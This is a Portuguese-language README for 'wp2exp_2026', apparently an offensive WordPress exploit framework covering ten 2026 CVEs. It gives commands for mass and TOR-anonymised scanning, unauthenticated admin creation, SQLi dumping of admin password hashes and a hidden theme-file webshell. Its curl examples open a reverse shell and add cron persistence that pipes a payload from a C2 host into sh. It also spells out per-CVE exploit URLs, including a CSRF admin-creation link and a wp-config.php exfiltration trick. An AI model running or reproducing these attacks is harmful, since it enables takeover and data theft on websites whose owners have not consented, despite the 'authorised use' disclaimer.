
WordPress All-in-One Exploit Framework — detector, scanner, enumerador, exploit, escalada. 10 CVEs da leva de 2026-08, incluindo CVE-2026-63030 (wp2shell).
Framework de Exploits Tudo-em-Um para WordPress — Detector · Scanner · Enumerador · Exploit · Escalação
wp2exp_2026 é o sucessor renomeado e testado em batalha do framework wp2shell. Ele mescla a cadeia original de verificação/exploração do wp2shell, três kits públicos de PoC do CVE-2026-63030 (Ch4120N, shinthink, SentinelX) e a onda de CVEs de WordPress de agosto de 2026, coletada do NVD / GitHub Advisories / CISA KEV por meio do pipeline TOR darkweb-intel — em um único script que conduz um alvo desde a impressão digital passiva até uma webshell verificada.
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ SOMENTE TESTES AUTORIZADOS. O modo
scané não destrutivo. Os modos de exploração exigem explicitamente--mode. Você é responsável por ter permissão por escrito para cada alvo.
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
Sem chaves de API, sem banco de dados, sem compilação.
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — Detector + Scanner + Enumerador (seguro)Não destrutivo. Use-o primeiro em qualquer alvo.
O que ele faz, em ordem:
Exemplo:
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — Scan + ExploraçãoTudo do scan, mais:
Exemplo:
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — Auto-verificação do AmbienteValida o ambiente de execução antes de qualquer scan: Python ≥3.8, disponibilidade do PySocks (SOCKS5/TOR), alcance do proxy (se --proxy definido), integridade da matriz de CVEs, correção do parser de versão.
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — Cadeia Completa até a WebshellTudo do exploit, mais escalação: se a criação do admin for bem-sucedida, o script:
wp-login.php (cookie jar)_wpnonce do editor de temas + tema ativo → grava a webshell via admin-ajax.php?action=edit-theme-plugin-fileupdate.php?action=upload-plugin e o ativaid através da shell — exibe a saída do comando ao vivoTipos de webshell (--shell):
Exemplo:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
Uso manual da shell após uma execução bem-sucedida:
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — rota registrada sem middleware de autenticação; o token é o base64 bruto do caminho relativo (forjável). Versões corrigidas usam um UploadFileToken assinado.reauth_for_authorize correspondia /mcp/v1/oauth/authorize com um teste de substring contra REQUEST_URI, incluindo a query string. Acrescente &x=/mcp/v1/oauth/authorize a qualquer requisição REST para restaurar a identidade completa do usuário do cookie. CSRF clássico: um admin que visita a URL adulterada cria uma conta do atacante.
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → envios do CF7 não precisam de nonce; envie um campo de arquivo contendo ../../../../wp-config.php e a ação de integração (webhook/email) exfiltra o arquivo.O script foi construído a partir de inteligência reunida pelo pipeline TOR darkweb-intel (coleta de CVEs novos do NVD, GitHub Advisories, CISA KEV) e suporta scan anônimo:
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
Comportamento verificado: o roteamento via proxy foi confirmado contra check.torproject.org/api/ip → {"IsTor":true} através do nó de saída 192.42.116.45.
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
Estrutura do relatório:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
Validado em 2026-08-04 contra um laboratório WordPress vulnerável emulado — bateria de QA: 32/32 verificações APROVADAS (todos os modos, pureza do JSON, múltiplos alvos, normalização de host sem prefixo, vazamento de rascunho/privado do Mapster, extração via SQLi da versão do banco + hash do admin, cadeia completa de shell):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit (--sqli-info)--verifydarkweb_intel.pyPRs são bem-vindos. Mantenha os payloads não destrutivos por padrão.
MIT. Somente engajamentos autorizados. Nunca execute --mode exploit / --mode shell contra ativos que você não possui ou para os quais não tem permissão por escrito para testar. Os autores não são responsáveis pelo uso indevido.
| Argumento | Padrão | Descrição |
|---|
targets | — | Um ou mais URLs base (https://site.com ou site.com sem prefixo) |
-f, --file | — | Arquivo com um alvo por linha (comentários # permitidos) |
--mode | scan | scan = apenas detecção · exploit = scan + exploração · shell = scan + exploit + webshell |
--shell | mini | Tipo de webshell: mini (execução em uma linha) ou full (gerenciamento de arquivos / download / reverse shell / persistência via cron) |
--mapster-dump | 0 | Faz dump de N IDs de posts via CVE-2026-14839 (0 = desativado) |
--sqli-info | off | Extrai db_version / siteurl / hash da senha do admin / prefixo da tabela via SQLi (CVE-2026-60137) |
--verify | off | Auto-verificação do ambiente (python, PySocks, alcance do proxy, matriz de CVEs, parser de versão) e sair |
--proxy | — | Proxy HTTP ou SOCKS5: socks5h://127.0.0.1:9050 (TOR) |
--timeout | 15 | Tempo limite por requisição (segundos) |
--threads | 5 | Alvos em paralelo (usado apenas com múltiplos alvos / -f) |
--json | — | Imprime relatório JSON legível por máquina no stdout |
-o, --output | — | Grava relatório JSON completo em arquivo |
| # | Etapa | Verificações |
|---|
| 1 | Impressão digital | Versão do WordPress via gerador /feed/, /readme.html, meta generator, gerador da REST API — sinaliza se a versão estiver dentro da faixa vulnerável do wp2shell (6.9.0–6.9.4, 7.0.0–7.0.1) |
| 2 | Detecção de WAF | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 a partir de cabeçalhos + marcadores de corpo |
| 3 | XMLRPC | Sonda system.listMethods → sinaliza a superfície de brute-force multicall e de SSRF via pingback |
| 4 | Enumeração de usuários | REST /wp-json/wp/v2/users + fallback ?rest_route= + arquivo de autor (?author=N) |
| 5 | Enumeração de plugins | Stable tag do readme.txt para todos os 8 plugins rastreados — sinaliza versões vulneráveis contra a matriz de CVEs |
| 6 | Sonda wp2shell | Sonda segura de dessincronização em lote (CVE-2026-63030) — envia primer malformado + DELETE benigno para uma categoria inexistente; procura marcadores de sequestro de handler (parse_path_failed, block_cannot_read, rest_batch_not_allowed) |
| 7 | Verificações de CVE | Sondas comportamentais ao vivo + verificações de versão para todos os 10 CVEs (veja a tabela abaixo) |
| Exploit | Condição | O que acontece |
|---|
| Criação de admin sem autenticação | wp2shell VULNERABLE | Tentativa 1: payload de confusão de rota em lote entrega POST /wp/v2/users com roles:["administrator"]. Tentativa 2 (fallback): cadeia de envenenamento de cache oEmbed via SQLi (shinthink) — injeta via union um customize_changeset para sequestrar o cache oEmbed + criar o admin. Exibe username / password em caso de sucesso |
| Extração de informações via SQLi | --sqli-info | Extração baseada em erro/union (CVE-2026-60137): db_version, siteurl, hash user_pass do primeiro admin, prefixo da tabela |
| Dump de conteúdo do Mapster | --mapster-dump N | Enumera IDs de posts 1..N via /wp-json/mapster-wp-maps/feature?id=N, coletando títulos de posts rascunho / pendente / privado / na lixeira + conteúdo completo (CVE-2026-14839) |
| Tipo | Recursos |
|---|
mini | ?k=KEY&c=COMMAND → saída de comando em texto simples |
full | a=cmd execução · a=upload gravação de arquivo (b64) · a=download leitura de arquivo · a=rev reverse shell (h=HOST&p=PORT) · a=persist persistência via crontab (u=URL) · padrão phpinfo() |
| CVE | Alvo | CVSS | Classe | Detecção | Exploração |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | Confusão de rota em lote REST → RCE | ✅ sonda de marcadores de dessincronização | ✅ criação de admin + shell |
| CVE-2026-60137 | WP Core (mesma faixa) | 5.9 | SQLi author__not_in | ✅ versão + marcador | ✅ via cadeia do 63030 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | Exclusão arbitrária de arquivo sem autenticação | ✅ sonda DELETE ao vivo | ✅ file_token b64 forjável |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | SQLi sem autenticação (busca em lista) | ✅ sonda de vazamento de erro | ⚠️ manual (cega) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | Escalação de privilégio _wps_plan_user_role | ✅ versão | ✅ doc da cadeia |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → criação de admin | ✅ sonda de namespace | ✅ gerador de URL de PoC |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | Exclusão arbitrária de arquivo autenticada | ✅ versão | ✅ doc da cadeia |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | Traversal sem autenticação (bypass de nonce do CF7) | ✅ versão | ✅ doc da cadeia |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | Dump de posts privados/rascunho sem autenticação | ✅ sonda ao vivo | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | XSS armazenado sem autenticação | ✅ versão | ✅ doc da cadeia |
insert_record() armazena uma location de arquivo influenciada pelo atacante; em seguida, delete_file() chama unlink($file) sem validação de realpath()/allowlist.save_meta_boxes() persiste _wps_plan_user_role de $_POST; apenas sanitize_key() + is_role() são aplicados — ambos aceitam administrator.